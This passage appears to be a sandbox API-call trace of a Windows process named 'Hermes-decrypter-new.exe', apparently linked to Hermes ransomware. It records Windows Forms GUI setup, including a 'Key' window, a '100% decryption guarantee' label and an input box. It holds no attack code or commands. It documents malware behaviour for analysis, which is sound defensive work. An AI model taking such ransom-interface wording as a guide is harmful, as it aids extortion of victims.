(cb=0x5c) returned 0xeeb158 [0156.872] CoTaskMemFree (pv=0xeeb158) [0156.872] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0156.872] CoTaskMemFree (pv=0xeeb228) [0156.872] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0156.872] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0156.874] CoTaskMemAlloc (cb=0x5c) returned 0xeeb1c0 [0156.874] CreateFontIndirectW (lplf=0xeeb1c0) returned 0x70a072e [0156.874] CoTaskMemFree (pv=0xeeb1c0) [0156.875] SelectObject (hdc=0x880106c6, h=0x70a072e) returned 0x8a01c2 [0156.875] GetTextMetricsW (in: hdc=0x880106c6, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0156.875] GetTextExtentPoint32W (in: hdc=0x880106c6, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x300e918 | out: psizl=0x300e918) returned 1 [0156.876] SelectObject (hdc=0x880106c6, h=0x8a01c2) returned 0x70a072e [0156.876] DeleteDC (hdc=0x880106c6) returned 1 [0156.876] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.876] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.877] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.877] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0156.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.877] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.877] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.877] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.878] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0156.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.878] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.878] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.878] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0156.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.879] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.879] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.879] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0156.879] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.879] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0156.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.880] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.880] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.880] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0156.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.880] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.881] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.881] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.881] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.881] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.881] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0156.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.882] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0156.882] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.882] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0156.883] DeleteObject (ho=0x70a072e) returned 1 [0156.883] GetDC (hWnd=0x0) returned 0x60100ce [0156.883] GdipCreateFromHDC (hdc=0x60100ce, graphics=0x19e2e0) returned 0x0 [0156.883] GdipGetFontHeight (font=0x6911c80, graphics=0x691e928, height=0x19e2d8) returned 0x0 [0156.883] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0156.883] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0156.884] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.884] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0156.884] CoTaskMemAlloc (cb=0x12) returned 0xf77388 [0156.886] CoTaskMemAlloc (cb=0x12) returned 0xf770c8 [0156.888] CoTaskMemAlloc (cb=0x12) returned 0xf77448 [0156.889] CoTaskMemAlloc (cb=0x12) returned 0xf77108 [0156.891] CoTaskMemAlloc (cb=0xe) returned 0xf6d418 [0156.892] CoTaskMemAlloc (cb=0x12) returned 0xf77348 [0156.894] CoTaskMemAlloc (cb=0xe) returned 0xf6d3d0 [0156.895] CoTaskMemAlloc (cb=0x12) returned 0xf771e8 [0156.896] CoTaskMemAlloc (cb=0xe) returned 0xf6d3a0 [0156.897] GetCurrentActCtx (in: lphActCtx=0x19e8e4 | out: lphActCtx=0x19e8e4*=0xef1264) returned 1 [0156.897] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.898] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.898] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Key", dwStyle=0x56010000, X=0, Y=0, nWidth=661, nHeight=357, hWndParent=0x1023c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10246 [0156.898] SetWindowLongW (hWnd=0x10246, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0156.898] GetWindowLongW (hWnd=0x10246, nIndex=-4) returned 1952448832 [0156.899] SetWindowTextW (hWnd=0x10246, lpString="Key") returned 1 [0156.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xc, wParam=0x0, lParam=0x300f028) returned 0x1 [0156.899] GetStartupInfoW (in: lpStartupInfo=0x300f574 | out: lpStartupInfo=0x300f574*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0156.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x5, wParam=0x0, lParam=0x1650295) returned 0x0 [0156.900] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0156.900] GetClientRect (in: hWnd=0x10246, lpRect=0x19e028 | out: lpRect=0x19e028) returned 1 [0156.900] GetWindowRect (in: hWnd=0x10246, lpRect=0x19e028 | out: lpRect=0x19e028) returned 1 [0156.900] GetParent (hWnd=0x10246) returned 0x1023c [0156.900] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e028, cPoints=0x2 | out: lpPoints=0x19e028) returned -1638403 [0156.900] SendMessageW (hWnd=0x10246, Msg=0x2210, wParam=0x2460001, lParam=0x10246) returned 0x0 [0156.900] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x2210, wParam=0x2460001, lParam=0x10246) returned 0x0 [0156.900] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.900] GetParent (hWnd=0x10246) returned 0x1023c [0156.913] GetSystemMetrics (nIndex=11) returned 32 [0156.913] GetSystemMetrics (nIndex=12) returned 32 [0156.913] CreateIconFromResourceEx (presbits=0x3011f7c, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xd0083 [0156.914] GetSystemMetrics (nIndex=49) returned 16 [0156.914] GetSystemMetrics (nIndex=50) returned 16 [0156.914] CreateIconFromResourceEx (presbits=0x3013060, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x680089 [0156.915] SendMessageW (hWnd=0x10246, Msg=0x80, wParam=0x0, lParam=0x680089) returned 0x0 [0156.915] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x80, wParam=0x0, lParam=0x680089) returned 0x0 [0156.915] SendMessageW (hWnd=0x10246, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0156.915] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0156.915] GetSystemMenu (hWnd=0x10246, bRevert=0) returned 0x0 [0156.915] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e8f4 | out: lpwndpl=0x19e8f4) returned 1 [0156.915] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0156.915] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0156.915] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0156.915] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0156.915] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0156.915] GetClientRect (in: hWnd=0x10246, lpRect=0x19e938 | out: lpRect=0x19e938) returned 1 [0156.915] GetClientRect (in: hWnd=0x10246, lpRect=0x19e898 | out: lpRect=0x19e898) returned 1 [0156.915] GetWindowRect (in: hWnd=0x10246, lpRect=0x19e898 | out: lpRect=0x19e898) returned 1 [0156.915] GetParent (hWnd=0x10246) returned 0x1023c [0156.915] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e898, cPoints=0x2 | out: lpPoints=0x19e898) returned -1638403 [0156.916] SetMenu (hWnd=0x10246, hMenu=0x0) returned 0 [0156.916] DrawMenuBar (hWnd=0x10246) returned 1 [0156.916] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.916] GetWindowLongW (hWnd=0x10246, nIndex=-16) returned 1442906112 [0156.916] GetWindowLongW (hWnd=0x10246, nIndex=-16) returned 1442906112 [0156.916] GetWindowLongW (hWnd=0x10246, nIndex=-20) returned 327680 [0156.916] SetWindowPos (hWnd=0x10246, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0156.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x46, wParam=0x0, lParam=0x19e8ac) returned 0x0 [0156.916] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x83, wParam=0x1, lParam=0x19e884) returned 0x0 [0156.917] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e5d8 | out: lpwndpl=0x19e5d8) returned 1 [0156.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x47, wParam=0x0, lParam=0x19e8ac) returned 0x0 [0156.917] GetClientRect (in: hWnd=0x10246, lpRect=0x19e588 | out: lpRect=0x19e588) returned 1 [0156.917] GetWindowRect (in: hWnd=0x10246, lpRect=0x19e588 | out: lpRect=0x19e588) returned 1 [0156.917] GetParent (hWnd=0x10246) returned 0x1023c [0156.917] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e588, cPoints=0x2 | out: lpPoints=0x19e588) returned -1638403 [0156.917] GetParent (hWnd=0x10246) returned 0x1023c [0156.917] RedrawWindow (hWnd=0x10246, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0156.917] GetSystemMenu (hWnd=0x10246, bRevert=0) returned 0x0 [0156.917] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e8e4 | out: lpwndpl=0x19e8e4) returned 1 [0156.917] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0156.917] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0156.917] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0156.917] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0156.917] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0156.917] SendMessageW (hWnd=0x10246, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.917] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.917] GetCurrentActCtx (in: lphActCtx=0x19e878 | out: lphActCtx=0x19e878*=0xef1264) returned 1 [0156.918] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.918] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.918] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10248 [0156.918] SetWindowLongW (hWnd=0x10248, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0156.918] GetWindowLongW (hWnd=0x10248, nIndex=-4) returned 1952448832 [0156.920] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x5, wParam=0x0, lParam=0x13f026b) returned 0x0 [0156.920] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x3, wParam=0x0, lParam=0x700c5) returned 0x0 [0156.920] GetClientRect (in: hWnd=0x10248, lpRect=0x19dfcc | out: lpRect=0x19dfcc) returned 1 [0156.920] GetWindowRect (in: hWnd=0x10248, lpRect=0x19dfcc | out: lpRect=0x19dfcc) returned 1 [0156.920] GetParent (hWnd=0x10248) returned 0x8004e [0156.920] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dfcc, cPoints=0x2 | out: lpPoints=0x19dfcc) returned -16187697 [0156.923] SendMessageW (hWnd=0x10248, Msg=0x2210, wParam=0x2480001, lParam=0x10248) returned 0x0 [0156.923] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x2210, wParam=0x2480001, lParam=0x10248) returned 0x0 [0156.923] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.923] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e2ac) returned 0x0 [0156.923] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0156.924] GetClientRect (in: hWnd=0x10248, lpRect=0x19dfb4 | out: lpRect=0x19dfb4) returned 1 [0156.924] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0156.924] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0156.924] GetSystemMetrics (nIndex=42) returned 0 [0156.924] GetWindowTextW (in: hWnd=0x10248, lpString=0x19de94, nMaxCount=1 | out: lpString="") returned 0 [0156.924] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19de94) returned 0x0 [0156.924] GetClientRect (in: hWnd=0x10248, lpRect=0x19debc | out: lpRect=0x19debc) returned 1 [0156.924] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0156.924] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0156.924] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0156.924] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0156.924] SaveDC (hdc=0x10105d6) returned 1 [0156.924] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0156.924] CreateSolidBrush (color=0x323533) returned 0x2e100628 [0156.924] FillRect (hDC=0x10105d6, lprc=0x19dd5c, hbr=0x2e100628) returned 1 [0156.924] DeleteObject (ho=0x2e100628) returned 1 [0156.924] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0156.925] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e2ac) returned 0x0 [0156.925] GetClientRect (in: hWnd=0x10248, lpRect=0x19df9c | out: lpRect=0x19df9c) returned 1 [0156.925] GetWindowRect (in: hWnd=0x10248, lpRect=0x19df9c | out: lpRect=0x19df9c) returned 1 [0156.925] GetParent (hWnd=0x10248) returned 0x8004e [0156.925] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19df9c, cPoints=0x2 | out: lpPoints=0x19df9c) returned -16187697 [0156.925] GetParent (hWnd=0x10248) returned 0x8004e [0156.925] GetParent (hWnd=0x10248) returned 0x8004e [0156.925] GetParent (hWnd=0x10246) returned 0x1023c [0156.925] SetParent (hWndChild=0x10246, hWndNewParent=0x10248) returned 0x1023c [0156.925] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0156.925] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x46, wParam=0x0, lParam=0x19e814) returned 0x0 [0156.926] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0156.926] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e540 | out: lpwndpl=0x19e540) returned 1 [0156.926] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x47, wParam=0x0, lParam=0x19e814) returned 0x0 [0156.926] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0156.926] GetClientRect (in: hWnd=0x10246, lpRect=0x19de40 | out: lpRect=0x19de40) returned 1 [0156.926] GetWindowRect (in: hWnd=0x10246, lpRect=0x19de40 | out: lpRect=0x19de40) returned 1 [0156.926] GetParent (hWnd=0x10246) returned 0x10248 [0156.926] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19de40, cPoints=0x2 | out: lpPoints=0x19de40) returned -16646646 [0156.926] GetClientRect (in: hWnd=0x10246, lpRect=0x19e4f0 | out: lpRect=0x19e4f0) returned 1 [0156.926] GetWindowRect (in: hWnd=0x10246, lpRect=0x19e4f0 | out: lpRect=0x19e4f0) returned 1 [0156.926] GetParent (hWnd=0x10246) returned 0x10248 [0156.926] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e4f0, cPoints=0x2 | out: lpPoints=0x19e4f0) returned -16646646 [0156.926] GetParent (hWnd=0x10246) returned 0x10248 [0156.926] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.926] GetCurrentActCtx (in: lphActCtx=0x19e3ec | out: lphActCtx=0x19e3ec*=0xef1264) returned 1 [0156.927] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.927] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.927] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="100% decryption guarantee", dwStyle=0x5600000d, X=161, Y=211, nWidth=308, nHeight=32, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024a [0156.927] SetWindowLongW (hWnd=0x1024a, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0156.927] GetWindowLongW (hWnd=0x1024a, nIndex=-4) returned 1876339648 [0156.929] SetWindowTextW (hWnd=0x1024a, lpString="100% decryption guarantee") returned 1 [0156.929] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0xc, wParam=0x0, lParam=0x300d0b0) returned 0x1 [0156.929] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x5, wParam=0x0, lParam=0x200134) returned 0x0 [0156.929] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x3, wParam=0x0, lParam=0xd300a1) returned 0x0 [0156.929] GetClientRect (in: hWnd=0x1024a, lpRect=0x19db14 | out: lpRect=0x19db14) returned 1 [0156.929] GetWindowRect (in: hWnd=0x1024a, lpRect=0x19db14 | out: lpRect=0x19db14) returned 1 [0156.929] GetParent (hWnd=0x1024a) returned 0x10246 [0156.929] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db14, cPoints=0x2 | out: lpPoints=0x19db14) returned -16646646 [0156.929] SendMessageW (hWnd=0x1024a, Msg=0x2210, wParam=0x24a0001, lParam=0x1024a) returned 0x0 [0156.929] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x2210, wParam=0x24a0001, lParam=0x1024a) returned 0x0 [0156.930] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.930] GetParent (hWnd=0x1024a) returned 0x10246 [0156.930] GetCurrentActCtx (in: lphActCtx=0x19e3ec | out: lphActCtx=0x19e3ec*=0xef1264) returned 1 [0156.930] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.931] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.931] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=87, Y=84, nWidth=32, nHeight=36, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024c [0156.931] SetWindowLongW (hWnd=0x1024c, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0156.931] GetWindowLongW (hWnd=0x1024c, nIndex=-4) returned 1952448832 [0156.933] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x5, wParam=0x0, lParam=0x240020) returned 0x0 [0156.933] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x3, wParam=0x0, lParam=0x540057) returned 0x0 [0156.933] GetClientRect (in: hWnd=0x1024c, lpRect=0x19db50 | out: lpRect=0x19db50) returned 1 [0156.933] GetWindowRect (in: hWnd=0x1024c, lpRect=0x19db50 | out: lpRect=0x19db50) returned 1 [0156.933] GetParent (hWnd=0x1024c) returned 0x10246 [0156.933] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db50, cPoints=0x2 | out: lpPoints=0x19db50) returned -16646646 [0156.933] SendMessageW (hWnd=0x1024c, Msg=0x2210, wParam=0x24c0001, lParam=0x1024c) returned 0x0 [0156.933] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x2210, wParam=0x24c0001, lParam=0x1024c) returned 0x0 [0156.933] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.933] GetParent (hWnd=0x1024c) returned 0x10246 [0156.934] GetCurrentActCtx (in: lphActCtx=0x19e3ec | out: lphActCtx=0x19e3ec*=0xef1264) returned 1 [0156.934] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.934] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.934] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=89, Y=124, nWidth=465, nHeight=1, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024e [0156.934] SetWindowLongW (hWnd=0x1024e, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0156.935] GetWindowLongW (hWnd=0x1024e, nIndex=-4) returned 1952448832 [0156.936] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x5, wParam=0x0, lParam=0x101d1) returned 0x0 [0156.936] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x3, wParam=0x0, lParam=0x7c0059) returned 0x0 [0156.936] GetClientRect (in: hWnd=0x1024e, lpRect=0x19db44 | out: lpRect=0x19db44) returned 1 [0156.936] GetWindowRect (in: hWnd=0x1024e, lpRect=0x19db44 | out: lpRect=0x19db44) returned 1 [0156.936] GetParent (hWnd=0x1024e) returned 0x10246 [0156.936] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10246, lpPoints=0x19db44, cPoints=0x2 | out: lpPoints=0x19db44) returned -16646646 [0156.936] SendMessageW (hWnd=0x1024e, Msg=0x2210, wParam=0x24e0001, lParam=0x1024e) returned 0x0 [0156.936] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x2210, wParam=0x24e0001, lParam=0x1024e) returned 0x0 [0156.936] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0156.937] GetParent (hWnd=0x1024e) returned 0x10246 [0156.937] GetCurrentActCtx (in: lphActCtx=0x19e3c8 | out: lphActCtx=0x19e3c8*=0xef1264) returned 1 [0156.937] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0156.937] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0156.937] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x560100c1, X=119, Y=102, nWidth=435, nHeight=18, hWndParent=0x10246, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10250 [0156.938] SetWindowLongW (hWnd=0x10250, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0156.938] GetWindowLongW (hWnd=0x10250, 